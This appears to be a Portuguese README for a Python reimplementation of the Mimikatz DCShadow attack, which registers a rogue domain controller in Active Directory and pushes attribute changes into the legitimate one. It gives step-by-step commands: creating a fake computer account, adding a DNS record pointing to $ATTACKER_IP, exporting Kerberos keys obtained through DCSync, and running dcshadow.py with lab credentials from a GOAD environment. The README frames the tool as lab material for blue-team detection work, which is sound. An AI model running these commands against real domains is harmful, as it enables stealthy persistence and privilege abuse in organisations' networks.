
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] NÃO EXECUTE EM PRODUÇÃO. Isso é destinado a testes de laboratório, para que os blue teams trabalhem na identificação de IoCs, tipos de eventos e comportamento. Além disso, esta ferramenta é fornecida como está. Nenhum suporte é planejado além da revisão padrão em pull requests que você possa criar. Não execute isso a partir de um host Windows. Faça isso a partir do Linux, ou de uma VM (para evitar conflitos de serviços RPC).
Este projeto é uma alternativa puramente em Python à técnica dcshadow do Mimikatz. Isso inclui um Impacket personalizado com crypto, gssapi e drsuapi modificados, entre outras coisas.
DCShadow é uma poderosa técnica de persistência que pode ser considerada um transporte para outras técnicas, como SID history, KRBTGT RBCD, abuso de ACE, e mais.
Esta ferramenta pode ser uma base para um framework de persistência de AD mais versátil, que possa ser usado pela nossa comunidade para elevar nossa maturidade global no assunto.
Esta ferramenta foi testada no GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Esta máquina será registrada como um controlador de domínio durante a duração da replicação e será desregistrada ao final.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] O adcomputer.py está modificado para definir
msDS-SupportedEncryptionTypescomo0x1f. Os testes mais recentes parecem levantar uma violação de restrição.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}Por enquanto, use o script addcomputer.py regular do Impacket e modifique
msDS-SupportedEncryptionTypesmanualmente por meio do ADSI edit.
Isso é necessário para que o DC legítimo saiba como alcançar o DC rogue e evitar erros ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Se o comando não funcionar por algum motivo, adicione a entrada de DNS manualmente por meio das ferramentas de DNS no controlador de domínio.
Quando começamos a desenvolver esta ferramenta, usávamos credenciais fixas em um arquivo .env, carregadas na função gss_kerberos_ap_req no arquivo dcshadow/utils/server/RpcServer.py.
Isso claramente precisa de uma atualização. A senha da conta do DC rogue poderia ser passada como argumento de CLI e as chaves Kerberos calculadas. Krbrelayx já faz isso, dacledit.py também, precisa de copiar e colar.
Por enquanto, você precisa exportar as chaves Kerberos como variáveis de ambiente.
Deve ficar assim:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Essas chaves podem ser recuperadas por meio de um ataque DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] Neste caso, um arquivo
repl.jsoné usado para especificar os objetos e atributos alvo. Alternativamente, a ferramenta suporta opções inline (por exemplo,--object,--attributee--value).
Se o DRSReplicaAdd exceder o tempo limite, provavelmente é um problema de rede/firewall na máquina que executa dcshadow.py (o DC rogue), que provavelmente não está permitindo tráfego de entrada nas portas 135/TCP (epmapper) e 1337/TCP (ou porta dinâmica, se implementada no futuro, para drsuapi).
Você precisaria executar o Wireshark no controlador de domínio legítimo, mas a causa raiz mais provável é que você está tentando executar isso em uma máquina Windows, ou seja, quando o DC legítimo pergunta ao epmapper do seu DC rogue pela porta do endpoint drsuapi, a resposta é vazia, pois é o epmapper da sua própria máquina Windows que está respondendo e não o nosso personalizado.
Este projeto não teria sido possível sem a imensa ajuda de Alessandro Iandoli "MrAle98", um pesquisador talentoso que conheci durante o desenvolvimento. Obrigado, Alessandro!
Os créditos vão para Benjamin Delpy e Vincent Letoux pela descoberta inicial, palestras e implementação no Mimikatz.
Gostaria de agradecer também ao Volker, que participou do desenvolvimento inicial.
Agradecimentos ao Dramelac pela ajuda em ir de PoC para um projeto modular, uma base para um framework futuro, se algum dia chegar lá.